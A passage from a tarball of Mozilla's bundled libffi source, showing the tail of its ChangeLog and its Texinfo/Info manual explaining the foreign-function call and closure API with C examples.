arguments. Thu Oct 10 09:56:51 1996 Anthony Green * ffitest.c (main): Added structure passing/returning tests. * prep_cif.c (ffi_prep_cif): Perform proper initialization of structure return types if needed. (initialize_aggregate): Bug fix Wed Oct 9 16:04:20 1996 Anthony Green * types.c: Added special definitions for x86 (double doesn't need double word alignment). * ffitest.c: Added many tests Tue Oct 8 09:19:22 1996 Anthony Green * prep_cif.c (ffi_prep_cif): Fixed assertion. * debug.c (ffi_assert): Must return a non void now. * Makefile.am: Added test production. * Makefile: Rebuilt. * ffitest.c (main): Created. * types.c: Created. Stripped common code out of */ffi.c. * prep_cif.c: Added missing stdlib.h include. * debug.c (ffi_type_test): Used "a" to eliminate compiler warnings in non-debug builds. Included ffi_common.h. Mon Oct 7 15:36:42 1996 Anthony Green * Makefile.am: Added a rule for .s -> .o This is required by the SGI compiler. * Makefile: Rebuilt. Fri Oct 4 09:51:08 1996 Anthony Green * prep_cif.c (initialize_aggregate): Moved abi specification to ffi_prep_cif(). Thu Oct 3 15:37:37 1996 Anthony Green * prep_cif.c (ffi_prep_cif): Changed values from void* to void**. (initialize_aggregate): Fixed aggregate type initialization. * Makefile.am (EXTRA_DIST): Added support code for "make dist". * Makefile.in: Regenerated. Wed Oct 2 11:41:57 1996 Anthony Green * debug.c, prep_cif: Created. * Makefile.am: Added debug.o and prep_cif.o to OBJ. * Makefile.in: Regenerated. * Makefile.am (INCLUDES): Added missing -I../include * Makefile.in: Regenerated. Tue Oct 1 17:11:51 1996 Anthony Green * error.c, Makefile.am: Created. * Makefile.in: Generated. --- libffi/src/x86 -------------------------------------------------------- Sun Oct 4 16:27:17 1998 Anthony Green * sysv.S (retlongdouble): Fixed long long return value support. * ffi.c (ffi_prep_cif_machdep): Ditto. Wed May 13 04:30:33 1998 Anthony Green * ffi.c (ffi_prep_cif_machdep): Fixed long double return value support. Wed Apr 15 08:43:20 1998 Anthony Green * ffi.c (ffi_prep_args): small struct support was missing. Thu May 8 16:53:58 1997 Anthony Green * objects.mak: Removed. Mon Dec 2 15:12:58 1996 Tom Tromey * sysv.S: Use .balign, for a.out Linux boxes. Tue Oct 15 13:06:50 1996 Anthony Green * ffi.c: Clean up based on LCLint output. Added funny /*@...@*/ comments to annotate source. Fri Oct 11 16:43:38 1996 Anthony Green * ffi.c (ffi_call): Added assertion for bad ABIs. Wed Oct 9 13:57:27 1996 Anthony Green * sysv.S (retdouble): Fixed double return problems. * ffi.c (ffi_call): Corrected fn arg definition. (ffi_prep_cif_machdep): Fixed double return problems Tue Oct 8 12:12:49 1996 Anthony Green * ffi.c: Moved ffi_type definitions to types.c. (ffi_prep_args): Fixed type promotion bug. Mon Oct 7 15:53:06 1996 Anthony Green * ffi.c (FFI_*_TYPEDEF): Removed redundant ';' Fri Oct 4 09:54:53 1996 Anthony Green * ffi.c (ffi_call): Removed FFI_ABI arg, and swapped remaining args. Wed Oct 2 10:07:05 1996 Anthony Green * ffi.c, sysv.S, objects.mak: Created. (ffi_prep_cif): cif->rvalue no longer initialized to NULL. (ffi_prep_cif_machdep): Moved machine independent cif processing to src/prep_cif.c. Introduced ffi_prep_cif_machdep(). --- libffi/src/mips ------------------------------------------------------- Tue Feb 17 17:18:07 1998 Anthony Green * o32.S: Fixed typo in comment. * ffi.c (ffi_prep_cif_machdep): Fixed argument processing. Thu May 8 16:53:58 1997 Anthony Green * o32.s, n32.s: Wrappers for SGI tool support. * objects.mak: Removed. Tue Oct 29 14:37:45 1996 Anthony Green * ffi.c (ffi_prep_args): Changed int z to size_t z. Tue Oct 15 13:17:25 1996 Anthony Green * n32.S: Fixed bad stack munging. * ffi.c: Moved prototypes for ffi_call_?32() to here from ffi_mips.h because extended_cif is not defined in ffi_mips.h. Mon Oct 14 12:42:02 1996 Anthony Green * ffi.c: Interface changes based on feedback from Jim Blandy. Thu Oct 10 11:22:16 1996 Anthony Green * n32.S, ffi.c: Lots of changes to support passing and returning structures with the n32 calling convention. * n32.S: Fixed fn pointer bug. * ffi.c (ffi_prep_cif_machdep): Fix for o32 structure return values. (ffi_prep_args): Fixed n32 structure passing when structures partially fit in registers. Wed Oct 9 13:49:25 1996 Anthony Green * objects.mak: Added n32.o. * n32.S: Created. * ffi.c (ffi_prep_args): Added magic to support proper n32 processing. Tue Oct 8 10:37:35 1996 Anthony Green * ffi.c: Moved ffi_type definitions to types.c. (ffi_prep_args): Fixed type promotion bug. * o32.S: This code is only built for o32 compiles. A lot of the #define cruft has moved to ffi_mips.h. * ffi.c (ffi_prep_cif_machdep): Fixed arg flags. Second arg is only processed if the first is either a float or double. Mon Oct 7 15:33:59 1996 Anthony Green * o32.S: Modified to compile under each of o32, n32 and n64. * ffi.c (FFI_*_TYPEDEF): Removed redundant ';' Fri Oct 4 09:53:25 1996 Anthony Green * ffi.c (ffi_call): Removed FFI_ABI arg, and swapped remaining args. Wed Oct 2 17:41:22 1996 Anthony Green * o32.S: Removed crufty definitions. Wed Oct 2 12:53:42 1996 Anthony Green * ffi.c (ffi_prep_cif): cif->rvalue no longer initialized to NULL. (ffi_prep_cif_machdep): Moved all machine independent cif processing to src/prep_cif.c. Introduced ffi_prep_cif_machdep. Return types of FFI_TYPE_STRUCT are no different than FFI_TYPE_INT. Tue Oct 1 17:11:02 1996 Anthony Green * ffi.c, o32.S, object.mak: Created --- libffi/src/sparc ------------------------------------------------------ Tue Feb 24 16:33:18 1998 Anthony Green * ffi.c (ffi_prep_args): Added long double support. Thu May 8 16:53:58 1997 Anthony Green * objects.mak: Removed. Thu May 1 16:07:56 1997 Anthony Green * v8.S: Fixed minor portability problem reported by Russ McManus . Tue Nov 26 14:12:43 1996 Anthony Green * v8.S: Used STACKFRAME define elsewhere. * ffi.c (ffi_prep_args): Zero out space when USING_PURIFY is set. (ffi_prep_cif_machdep): Allocate the correct stack frame space for functions with < 6 args. Tue Oct 29 15:08:55 1996 Anthony Green * ffi.c (ffi_prep_args): int z is now size_t z. Mon Oct 14 13:31:24 1996 Anthony Green * v8.S (ffi_call_V8): Gordon rewrites this again. It looks great now. * ffi.c (ffi_call): The comment about hijacked registers is no longer valid after gordoni hacked v8.S. * v8.S (ffi_call_V8): Rewrote with gordoni. Much simpler. * v8.S, ffi.c: ffi_call() had changed to accept more than two args, so v8.S had to change (because it hijacks incoming arg registers). * ffi.c: Interface changes based on feedback from Jim Blandy. Thu Oct 10 17:48:16 1996 Anthony Green * ffi.c, v8.S, objects.mak: Created. mozjs17.0.0/js/src/ctypes/libffi/doc/0000775000175000017500000000000012106270662017312 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/doc/version.texi0000664000175000017500000000014512106270662021672 0ustar sstanglsstangl@set UPDATED 14 February 2008 @set UPDATED-MONTH February 2008 @set EDITION 3.0.8 @set VERSION 3.0.8 mozjs17.0.0/js/src/ctypes/libffi/doc/stamp-vti0000664000175000017500000000014512106270662021161 0ustar sstanglsstangl@set UPDATED 14 February 2008 @set UPDATED-MONTH February 2008 @set EDITION 3.0.8 @set VERSION 3.0.8 mozjs17.0.0/js/src/ctypes/libffi/doc/libffi.texi0000664000175000017500000004103412106270662021442 0ustar sstanglsstangl\input texinfo @c -*-texinfo-*- @c %**start of header @setfilename libffi.info @settitle libffi @setchapternewpage off @c %**end of header @c Merge the standard indexes into a single one. @syncodeindex fn cp @syncodeindex vr cp @syncodeindex ky cp @syncodeindex pg cp @syncodeindex tp cp @include version.texi @copying This manual is for Libffi, a portable foreign-function interface library. Copyright @copyright{} 2008, 2010 Red Hat, Inc. @quotation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. A copy of the license is included in the section entitled ``GNU General Public License''. @end quotation @end copying @dircategory Development @direntry * libffi: (libffi). Portable foreign-function interface library. @end direntry @titlepage @title Libffi @page @vskip 0pt plus 1filll @insertcopying @end titlepage @ifnottex @node Top @top libffi @insertcopying @menu * Introduction:: What is libffi? * Using libffi:: How to use libffi. * Missing Features:: Things libffi can't do. * Index:: Index. @end menu @end ifnottex @node Introduction @chapter What is libffi? Compilers for high level languages generate code that follow certain conventions. These conventions are necessary, in part, for separate compilation to work. One such convention is the @dfn{calling convention}. The calling convention is a set of assumptions made by the compiler about where function arguments will be found on entry to a function. A calling convention also specifies where the return value for a function is found. The calling convention is also sometimes called the @dfn{ABI} or @dfn{Application Binary Interface}. @cindex calling convention @cindex ABI @cindex Application Binary Interface Some programs may not know at the time of compilation what arguments are to be passed to a function. For instance, an interpreter may be told at run-time about the number and types of arguments used to call a given function. @samp{Libffi} can be used in such programs to provide a bridge from the interpreter program to compiled code. The @samp{libffi} library provides a portable, high level programming interface to various calling conventions. This allows a programmer to call any function specified by a call interface description at run time. @acronym{FFI} stands for Foreign Function Interface. A foreign function interface is the popular name for the interface that allows code written in one language to call code written in another language. The @samp{libffi} library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. A layer must exist above @samp{libffi} that handles type conversions for values passed between the two languages. @cindex FFI @cindex Foreign Function Interface @node Using libffi @chapter Using libffi @menu * The Basics:: The basic libffi API. * Simple Example:: A simple example. * Types:: libffi type descriptions. * Multiple ABIs:: Different passing styles on one platform. * The Closure API:: Writing a generic function. * Closure Example:: A closure example. @end menu @node The Basics @section The Basics @samp{Libffi} assumes that you have a pointer to the function you wish to call and that you know the number and types of arguments to pass it, as well as the return type of the function. The first thing you must do is create an @code{ffi_cif} object that matches the signature of the function you wish to call. This is a separate step because it is common to make multiple calls using a single @code{ffi_cif}. The @dfn{cif} in @code{ffi_cif} stands for Call InterFace. To prepare a call interface object, use the function @code{ffi_prep_cif}. @cindex cif @findex ffi_prep_cif @defun ffi_status ffi_prep_cif (ffi_cif *@var{cif}, ffi_abi @var{abi}, unsigned int @var{nargs}, ffi_type *@var{rtype}, ffi_type **@var{argtypes}) This initializes @var{cif} according to the given parameters. @var{abi} is the ABI to use; normally @code{FFI_DEFAULT_ABI} is what you want. @ref{Multiple ABIs} for more information. @var{nargs} is the number of arguments that this function accepts. @samp{libffi} does not yet handle varargs functions; see @ref{Missing Features} for more information. @var{rtype} is a pointer to an @code{ffi_type} structure that describes the return type of the function. @xref{Types}. @var{argtypes} is a vector of @code{ffi_type} pointers. @var{argtypes} must have @var{nargs} elements. If @var{nargs} is 0, this argument is ignored. @code{ffi_prep_cif} returns a @code{libffi} status code, of type @code{ffi_status}. This will be either @code{FFI_OK} if everything worked properly; @code{FFI_BAD_TYPEDEF} if one of the @code{ffi_type} objects is incorrect; or @code{FFI_BAD_ABI} if the @var{abi} parameter is invalid. @end defun To call a function using an initialized @code{ffi_cif}, use the @code{ffi_call} function: @findex ffi_call @defun void ffi_call (ffi_cif *@var{cif}, void *@var{fn}, void *@var{rvalue}, void **@var{avalues}) This calls the function @var{fn} according to the description given in @var{cif}. @var{cif} must have already been prepared using @code{ffi_prep_cif}. @var{rvalue} is a pointer to a chunk of memory that will hold the result of the function call. This must be large enough to hold the result and must be suitably aligned; it is the caller's responsibility to ensure this. If @var{cif} declares that the function returns @code{void} (using @code{ffi_type_void}), then @var{rvalue} is ignored. If @var{rvalue} is @samp{NULL}, then the return value is discarded. @var{avalues} is a vector of @code{void *} pointers that point to the memory locations holding the argument values for a call. If @var{cif} declares that the function has no arguments (i.e., @var{nargs} was 0), then @var{avalues} is ignored. Note that argument values may be modified by the callee (for instance, structs passed by value); the burden of copying pass-by-value arguments is placed on the caller. @end defun @node Simple Example @section Simple Example Here is a trivial example that calls @code{puts} a few times. @example #include #include int main() @{ ffi_cif cif; ffi_type *args[1]; void *values[1]; char *s; int rc; /* Initialize the argument info vectors */ args[0] = &ffi_type_pointer; values[0] = &s; /* Initialize the cif */ if (ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uint, args) == FFI_OK) @{ s = "Hello World!"; ffi_call(&cif, puts, &rc, values); /* rc now holds the result of the call to puts */ /* values holds a pointer to the function's arg, so to call puts() again all we need to do is change the value of s */ s = "This is cool!"; ffi_call(&cif, puts, &rc, values); @} return 0; @} @end example @node Types @section Types @menu * Primitive Types:: Built-in types. * Structures:: Structure types. * Type Example:: Structure type example. @end menu @node Primitive Types @subsection Primitive Types @code{Libffi} provides a number of built-in type descriptors that can be used to describe argument and return types: @table @code @item ffi_type_void @tindex ffi_type_void The type @code{void}. This cannot be used for argument types, only for return values. @item ffi_type_uint8 @tindex ffi_type_uint8 An unsigned, 8-bit integer type. @item ffi_type_sint8 @tindex ffi_type_sint8 A signed, 8-bit integer type. @item ffi_type_uint16 @tindex ffi_type_uint16 An unsigned, 16-bit integer type. @item ffi_type_sint16 @tindex ffi_type_sint16 A signed, 16-bit integer type. @item ffi_type_uint32 @tindex ffi_type_uint32 An unsigned, 32-bit integer type. @item ffi_type_sint32 @tindex ffi_type_sint32 A signed, 32-bit integer type. @item ffi_type_uint64 @tindex ffi_type_uint64 An unsigned, 64-bit integer type. @item ffi_type_sint64 @tindex ffi_type_sint64 A signed, 64-bit integer type. @item ffi_type_float @tindex ffi_type_float The C @code{float} type. @item ffi_type_double @tindex ffi_type_double The C @code{double} type. @item ffi_type_uchar @tindex ffi_type_uchar The C @code{unsigned char} type. @item ffi_type_schar @tindex ffi_type_schar The C @code{signed char} type. (Note that there is not an exact equivalent to the C @code{char} type in @code{libffi}; ordinarily you should either use @code{ffi_type_schar} or @code{ffi_type_uchar} depending on whether @code{char} is signed.) @item ffi_type_ushort @tindex ffi_type_ushort The C @code{unsigned short} type. @item ffi_type_sshort @tindex ffi_type_sshort The C @code{short} type. @item ffi_type_uint @tindex ffi_type_uint The C @code{unsigned int} type. @item ffi_type_sint @tindex ffi_type_sint The C @code{int} type. @item ffi_type_ulong @tindex ffi_type_ulong The C @code{unsigned long} type. @item ffi_type_slong @tindex ffi_type_slong The C @code{long} type. @item ffi_type_longdouble @tindex ffi_type_longdouble On platforms that have a C @code{long double} type, this is defined. On other platforms, it is not. @item ffi_type_pointer @tindex ffi_type_pointer A generic @code{void *} pointer. You should use this for all pointers, regardless of their real type. @end table Each of these is of type @code{ffi_type}, so you must take the address when passing to @code{ffi_prep_cif}. @node Structures @subsection Structures Although @samp{libffi} has no special support for unions or bit-fields, it is perfectly happy passing structures back and forth. You must first describe the structure to @samp{libffi} by creating a new @code{ffi_type} object for it. @tindex ffi_type @deftp ffi_type The @code{ffi_type} has the following members: @table @code @item size_t size This is set by @code{libffi}; you should initialize it to zero. @item unsigned short alignment This is set by @code{libffi}; you should initialize it to zero. @item unsigned short type For a structure, this should be set to @code{FFI_TYPE_STRUCT}. @item ffi_type **elements This is a @samp{NULL}-terminated array of pointers to @code{ffi_type} objects. There is one element per field of the struct. @end table @end deftp @node Type Example @subsection Type Example The following example initializes a @code{ffi_type} object representing the @code{tm} struct from Linux's @file{time.h}. Here is how the struct is defined: @example struct tm @{ int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; /* Those are for future use. */ long int __tm_gmtoff__; __const char *__tm_zone__; @}; @end example Here is the corresponding code to describe this struct to @code{libffi}: @example @{ ffi_type tm_type; ffi_type *tm_type_elements[12]; int i; tm_type.size = tm_type.alignment = 0; tm_type.elements = &tm_type_elements; for (i = 0; i < 9; i++) tm_type_elements[i] = &ffi_type_sint; tm_type_elements[9] = &ffi_type_slong; tm_type_elements[10] = &ffi_type_pointer; tm_type_elements[11] = NULL; /* tm_type can now be used to represent tm argument types and return types for ffi_prep_cif() */ @} @end example @node Multiple ABIs @section Multiple ABIs A given platform may provide multiple different ABIs at once. For instance, the x86 platform has both @samp{stdcall} and @samp{fastcall} functions. @code{libffi} provides some support for this. However, this is necessarily platform-specific. @c FIXME: document the platforms @node The Closure API @section The Closure API @code{libffi} also provides a way to write a generic function -- a function that can accept and decode any combination of arguments. This can be useful when writing an interpreter, or to provide wrappers for arbitrary functions. This facility is called the @dfn{closure API}. Closures are not supported on all platforms; you can check the @code{FFI_CLOSURES} define to determine whether they are supported on the current platform. @cindex closures @cindex closure API @findex FFI_CLOSURES Because closures work by assembling a tiny function at runtime, they require special allocation on platforms that have a non-executable heap. Memory management for closures is handled by a pair of functions: @findex ffi_closure_alloc @defun void *ffi_closure_alloc (size_t @var{size}, void **@var{code}) Allocate a chunk of memory holding @var{size} bytes. This returns a pointer to the writable address, and sets *@var{code} to the corresponding executable address. @var{size} should be sufficient to hold a @code{ffi_closure} object. @end defun @findex ffi_closure_free @defun void ffi_closure_free (void *@var{writable}) Free memory allocated using @code{ffi_closure_alloc}. The argument is the writable address that was returned. @end defun Once you have allocated the memory for a closure, you must construct a @code{ffi_cif} describing the function call. Finally you can prepare the closure function: @findex ffi_prep_closure_loc @defun ffi_status ffi_prep_closure_loc (ffi_closure *@var{closure}, ffi_cif *@var{cif}, void (*@var{fun}) (ffi_cif *@var{cif}, void *@var{ret}, void **@var{args}, void *@var{user_data}), void *@var{user_data}, void *@var{codeloc}) Prepare a closure function. @var{closure} is the address of a @code{ffi_closure} object; this is the writable address returned by @code{ffi_closure_alloc}. @var{cif} is the @code{ffi_cif} describing the function parameters. @var{user_data} is an arbitrary datum that is passed, uninterpreted, to your closure function. @var{codeloc} is the executable address returned by @code{ffi_closure_alloc}. @var{fun} is the function which will be called when the closure is invoked. It is called with the arguments: @table @var @item cif The @code{ffi_cif} passed to @code{ffi_prep_closure_loc}. @item ret A pointer to the memory used for the function's return value. @var{fun} must fill this, unless the function is declared as returning @code{void}. @c FIXME: is this NULL for void-returning functions? @item args A vector of pointers to memory holding the arguments to the function. @item user_data The same @var{user_data} that was passed to @code{ffi_prep_closure_loc}. @end table @code{ffi_prep_closure_loc} will return @code{FFI_OK} if everything went ok, and something else on error. @c FIXME: what? After calling @code{ffi_prep_closure_loc}, you can cast @var{codeloc} to the appropriate pointer-to-function type. @end defun You may see old code referring to @code{ffi_prep_closure}. This function is deprecated, as it cannot handle the need for separate writable and executable addresses. @node Closure Example @section Closure Example A trivial example that creates a new @code{puts} by binding @code{fputs} with @code{stdin}. @example #include #include /* Acts like puts with the file given at time of enclosure. */ void puts_binding(ffi_cif *cif, unsigned int *ret, void* args[], FILE *stream) @{ *ret = fputs(*(char **)args[0], stream); @} int main() @{ ffi_cif cif; ffi_type *args[1]; ffi_closure *closure; int (*bound_puts)(char *); int rc; /* Allocate closure and bound_puts */ closure = ffi_closure_alloc(sizeof(ffi_closure), &bound_puts); if (closure) @{ /* Initialize the argument info vectors */ args[0] = &ffi_type_pointer; /* Initialize the cif */ if (ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uint, args) == FFI_OK) @{ /* Initialize the closure, setting stream to stdout */ if (ffi_prep_closure_loc(closure, &cif, puts_binding, stdout, bound_puts) == FFI_OK) @{ rc = bound_puts("Hello World!"); /* rc now holds the result of the call to fputs */ @} @} @} /* Deallocate both closure, and bound_puts */ ffi_closure_free(closure); return 0; @} @end example @node Missing Features @chapter Missing Features @code{libffi} is missing a few features. We welcome patches to add support for these. @itemize @bullet @item There is no support for calling varargs functions. This may work on some platforms, depending on how the ABI is defined, but it is not reliable. @item There is no support for bit fields in structures. @item The closure API is @c FIXME: ... @item The ``raw'' API is undocumented. @c argument promotion? @c unions? @c anything else? @end itemize @node Index @unnumbered Index @printindex cp @bye mozjs17.0.0/js/src/ctypes/libffi/doc/libffi.info0000664000175000017500000004765212106270662021440 0ustar sstanglsstanglThis is ../libffi/doc/libffi.info, produced by makeinfo version 4.13 from ../libffi/doc/libffi.texi. This manual is for Libffi, a portable foreign-function interface library. Copyright (C) 2008, 2010 Red Hat, Inc. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. A copy of the license is included in the section entitled "GNU General Public License". INFO-DIR-SECTION Development START-INFO-DIR-ENTRY * libffi: (libffi). Portable foreign-function interface library. END-INFO-DIR-ENTRY  File: libffi.info, Node: Top, Next: Introduction, Up: (dir) libffi ****** This manual is for Libffi, a portable foreign-function interface library. Copyright (C) 2008, 2010 Red Hat, Inc. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. A copy of the license is included in the section entitled "GNU General Public License". * Menu: * Introduction:: What is libffi? * Using libffi:: How to use libffi. * Missing Features:: Things libffi can't do. * Index:: Index.  File: libffi.info, Node: Introduction, Next: Using libffi, Prev: Top, Up: Top 1 What is libffi? ***************** Compilers for high level languages generate code that follow certain conventions. These conventions are necessary, in part, for separate compilation to work. One such convention is the "calling convention". The calling convention is a set of assumptions made by the compiler about where function arguments will be found on entry to a function. A calling convention also specifies where the return value for a function is found. The calling convention is also sometimes called the "ABI" or "Application Binary Interface". Some programs may not know at the time of compilation what arguments are to be passed to a function. For instance, an interpreter may be told at run-time about the number and types of arguments used to call a given function. `Libffi' can be used in such programs to provide a bridge from the interpreter program to compiled code. The `libffi' library provides a portable, high level programming interface to various calling conventions. This allows a programmer to call any function specified by a call interface description at run time. FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the interface that allows code written in one language to call code written in another language. The `libffi' library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. A layer must exist above `libffi' that handles type conversions for values passed between the two languages.  File: libffi.info, Node: Using libffi, Next: Missing Features, Prev: Introduction, Up: Top 2 Using libffi ************** * Menu: * The Basics:: The basic libffi API. * Simple Example:: A simple example. * Types:: libffi type descriptions. * Multiple ABIs:: Different passing styles on one platform. * The Closure API:: Writing a generic function. * Closure Example:: A closure example.  File: libffi.info, Node: The Basics, Next: Simple Example, Up: Using libffi 2.1 The Basics ============== `Libffi' assumes that you have a pointer to the function you wish to call and that you know the number and types of arguments to pass it, as well as the return type of the function. The first thing you must do is create an `ffi_cif' object that matches the signature of the function you wish to call. This is a separate step because it is common to make multiple calls using a single `ffi_cif'. The "cif" in `ffi_cif' stands for Call InterFace. To prepare a call interface object, use the function `ffi_prep_cif'. -- Function: ffi_status ffi_prep_cif (ffi_cif *CIF, ffi_abi ABI, unsigned int NARGS, ffi_type *RTYPE, ffi_type **ARGTYPES) This initializes CIF according to the given parameters. ABI is the ABI to use; normally `FFI_DEFAULT_ABI' is what you want. *note Multiple ABIs:: for more information. NARGS is the number of arguments that this function accepts. `libffi' does not yet handle varargs functions; see *note Missing Features:: for more information. RTYPE is a pointer to an `ffi_type' structure that describes the return type of the function. *Note Types::. ARGTYPES is a vector of `ffi_type' pointers. ARGTYPES must have NARGS elements. If NARGS is 0, this argument is ignored. `ffi_prep_cif' returns a `libffi' status code, of type `ffi_status'. This will be either `FFI_OK' if everything worked properly; `FFI_BAD_TYPEDEF' if one of the `ffi_type' objects is incorrect; or `FFI_BAD_ABI' if the ABI parameter is invalid. To call a function using an initialized `ffi_cif', use the `ffi_call' function: -- Function: void ffi_call (ffi_cif *CIF, void *FN, void *RVALUE, void **AVALUES) This calls the function FN according to the description given in CIF. CIF must have already been prepared using `ffi_prep_cif'. RVALUE is a pointer to a chunk of memory that will hold the result of the function call. This must be large enough to hold the result and must be suitably aligned; it is the caller's responsibility to ensure this. If CIF declares that the function returns `void' (using `ffi_type_void'), then RVALUE is ignored. If RVALUE is `NULL', then the return value is discarded. AVALUES is a vector of `void *' pointers that point to the memory locations holding the argument values for a call. If CIF declares that the function has no arguments (i.e., NARGS was 0), then AVALUES is ignored. Note that argument values may be modified by the callee (for instance, structs passed by value); the burden of copying pass-by-value arguments is placed on the caller.  File: libffi.info, Node: Simple Example, Next: Types, Prev: The Basics, Up: Using libffi 2.2 Simple Example ================== Here is a trivial example that calls `puts' a few times. #include #include int main() { ffi_cif cif; ffi_type *args[1]; void *values[1]; char *s; int rc; /* Initialize the argument info vectors */ args[0] = &ffi_type_pointer; values[0] = &s; /* Initialize the cif */ if (ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uint, args) == FFI_OK) { s = "Hello World!"; ffi_call(&cif, puts, &rc, values); /* rc now holds the result of the call to puts */ /* values holds a pointer to the function's arg, so to call puts() again all we need to do is change the value of s */ s = "This is cool!"; ffi_call(&cif, puts, &rc, values); } return 0; }  File: libffi.info, Node: Types, Next: Multiple ABIs, Prev: Simple Example, Up: Using libffi 2.3 Types ========= * Menu: * Primitive Types:: Built-in types. * Structures:: Structure types. * Type Example:: Structure type example.  File: libffi.info, Node: Primitive Types, Next: Structures, Up: Types 2.3.1 Primitive Types --------------------- `Libffi' provides a number of built-in type descriptors that can be used to describe argument and return types: `ffi_type_void' The type `void'. This cannot be used for argument types, only for return values. `ffi_type_uint8' An unsigned, 8-bit integer type. `ffi_type_sint8' A signed, 8-bit integer type. `ffi_type_uint16' An unsigned, 16-bit integer type. `ffi_type_sint16' A signed, 16-bit integer type. `ffi_type_uint32' An unsigned, 32-bit integer type. `ffi_type_sint32' A signed, 32-bit integer type. `ffi_type_uint64' An unsigned, 64-bit integer type. `ffi_type_sint64' A signed, 64-bit integer type. `ffi_type_float' The C `float' type. `ffi_type_double' The C `double' type. `ffi_type_uchar' The C `unsigned char' type. `ffi_type_schar' The C `signed char' type. (Note that there is not an exact equivalent to the C `char' type in `libffi'; ordinarily you should either use `ffi_type_schar' or `ffi_type_uchar' depending on whether `char' is signed.) `ffi_type_ushort' The C `unsigned short' type. `ffi_type_sshort' The C `short' type. `ffi_type_uint' The C `unsigned int' type. `ffi_type_sint' The C `int' type. `ffi_type_ulong' The C `unsigned long' type. `ffi_type_slong' The C `long' type. `ffi_type_longdouble' On platforms that have a C `long double' type, this is defined. On other platforms, it is not. `ffi_type_pointer' A generic `void *' pointer. You should use this for all pointers, regardless of their real type. Each of these is of type `ffi_type', so you must take the address when passing to `ffi_prep_cif'.  File: libffi.info, Node: Structures, Next: Type Example, Prev: Primitive Types, Up: Types 2.3.2 Structures ---------------- Although `libffi' has no special support for unions or bit-fields, it is perfectly happy passing structures back and forth. You must first describe the structure to `libffi' by creating a new `ffi_type' object for it. -- ffi_type: The `ffi_type' has the following members: `size_t size' This is set by `libffi'; you should initialize it to zero. `unsigned short alignment' This is set by `libffi'; you should initialize it to zero. `unsigned short type' For a structure, this should be set to `FFI_TYPE_STRUCT'. `ffi_type **elements' This is a `NULL'-terminated array of pointers to `ffi_type' objects. There is one element per field of the struct.  File: libffi.info, Node: Type Example, Prev: Structures, Up: Types 2.3.3 Type Example ------------------ The following example initializes a `ffi_type' object representing the `tm' struct from Linux's `time.h'. Here is how the struct is defined: struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_year; int tm_wday; int tm_yday; int tm_isdst; /* Those are for future use. */ long int __tm_gmtoff__; __const char *__tm_zone__; }; Here is the corresponding code to describe this struct to `libffi': { ffi_type tm_type; ffi_type *tm_type_elements[12]; int i; tm_type.size = tm_type.alignment = 0; tm_type.elements = &tm_type_elements; for (i = 0; i < 9; i++) tm_type_elements[i] = &ffi_type_sint; tm_type_elements[9] = &ffi_type_slong; tm_type_elements[10] = &ffi_type_pointer; tm_type_elements[11] = NULL; /* tm_type can now be used to represent tm argument types and return types for ffi_prep_cif() */ }  File: libffi.info, Node: Multiple ABIs, Next: The Closure API, Prev: Types, Up: Using libffi 2.4 Multiple ABIs ================= A given platform may provide multiple different ABIs at once. For instance, the x86 platform has both `stdcall' and `fastcall' functions. `libffi' provides some support for this. However, this is necessarily platform-specific.  File: libffi.info, Node: The Closure API, Next: Closure Example, Prev: Multiple ABIs, Up: Using libffi 2.5 The Closure API =================== `libffi' also provides a way to write a generic function - a function that can accept and decode any combination of arguments. This can be useful when writing an interpreter, or to provide wrappers for arbitrary functions. This facility is called the "closure API". Closures are not supported on all platforms; you can check the `FFI_CLOSURES' define to determine whether they are supported on the current platform. Because closures work by assembling a tiny function at runtime, they require special allocation on platforms that have a non-executable heap. Memory management for closures is handled by a pair of functions: -- Function: void *ffi_closure_alloc (size_t SIZE, void **CODE) Allocate a chunk of memory holding SIZE bytes. This returns a pointer to the writable address, and sets *CODE to the corresponding executable address. SIZE should be sufficient to hold a `ffi_closure' object. -- Function: void ffi_closure_free (void *WRITABLE) Free memory allocated using `ffi_closure_alloc'. The argument is the writable address that was returned. Once you have allocated the memory for a closure, you must construct a `ffi_cif' describing the function call. Finally you can prepare the closure function: -- Function: ffi_status ffi_prep_closure_loc (ffi_closure *CLOSURE, ffi_cif *CIF, void (*FUN) (ffi_cif *CIF, void *RET, void **ARGS, void *USER_DATA), void *USER_DATA, void *CODELOC) Prepare a closure function. CLOSURE is the address of a `ffi_closure' object; this is the writable address returned by `ffi_closure_alloc'. CIF is the `ffi_cif' describing the function parameters. USER_DATA is an arbitrary datum that is passed, uninterpreted, to your closure function. CODELOC is the executable address returned by `ffi_closure_alloc'. FUN is the function which will be called when the closure is invoked. It is called with the arguments: CIF The `ffi_cif' passed to `ffi_prep_closure_loc'. RET A pointer to the memory used for the function's return value. FUN must fill this, unless the function is declared as returning `void'. ARGS A vector of pointers to memory holding the arguments to the function. USER_DATA The same USER_DATA that was passed to `ffi_prep_closure_loc'. `ffi_prep_closure_loc' will return `FFI_OK' if everything went ok, and something else on error. After calling `ffi_prep_closure_loc', you can cast CODELOC to the appropriate pointer-to-function type. You may see old code referring to `ffi_prep_closure'. This function is deprecated, as it cannot handle the need for separate writable and executable addresses.  File: libffi.info, Node: Closure Example, Prev: The Closure API, Up: Using libffi 2.6 Closure Example =================== A trivial example that creates a new `puts' by binding `fputs' with `stdin'. #include #include /* Acts like puts with the file given at time of enclosure. */ void puts_binding(ffi_cif *cif, unsigned int *ret, void* args[], FILE *stream) { *ret = fputs(*(char **)args[0], stream); } int main() { ffi_cif cif; ffi_type *args[1]; ffi_closure *closure; int (*bound_puts)(char *); int rc; /* Allocate closure and bound_puts */ closure = ffi_closure_alloc(sizeof(ffi_closure), &bound_puts); if 